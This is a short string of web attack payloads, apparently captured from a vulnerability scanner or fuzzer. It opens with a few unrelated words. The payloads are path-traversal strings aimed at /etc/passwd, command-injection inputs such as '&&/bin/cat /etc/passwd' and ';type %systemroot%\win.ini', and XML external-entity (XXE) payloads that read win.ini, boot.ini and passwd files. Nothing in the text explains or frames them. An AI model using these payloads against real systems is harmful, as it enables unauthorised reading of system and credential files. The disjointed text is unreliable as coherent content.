cesvi milan liverpool cagliari /..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd type %systemroot%\win.ini type %systemroot%\win.ini c:\boot.ini.html /..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd.html &&/bin/cat /etc/passwd <?xml version=1.0 encoding=iso-8859-1?><!doctype xxe_test [<!element foo any><!entity xxe_test system %windir%\win.ini>]><foo>&xxe_test;</foo> /etc/passwd <?xml version=1.0 encoding=iso-8859-1?><!doctype xxe_test [ <!entity xxe_test system %systemdrive%\boot.ini> ]><q>&xxe_test;</q> &&type %systemroot%\win.ini <?xml version=1.0 encoding=iso-8859-1?><!doctype xxe_test [ <!entity xxe_test system /etc/passwd> ]><q>&xxe_test;</q> ;type %systemroot%\win.ini %systemroot%\win.ini.html /bin/cat /etc/passwd <?xml version=1.0 encoding=iso-8859-1?><!doctype xxe_test [ <!entity xxe_test system %windir%\win.ini> ]><q>&xxe_test;</q> <?xml version=1.0 encoding=iso-8859-1?><!doctype xxe_test [<!element foo any><!entity xxe_test system %systemdrive%\boot.ini>]><foo>&xxe_test;</foo>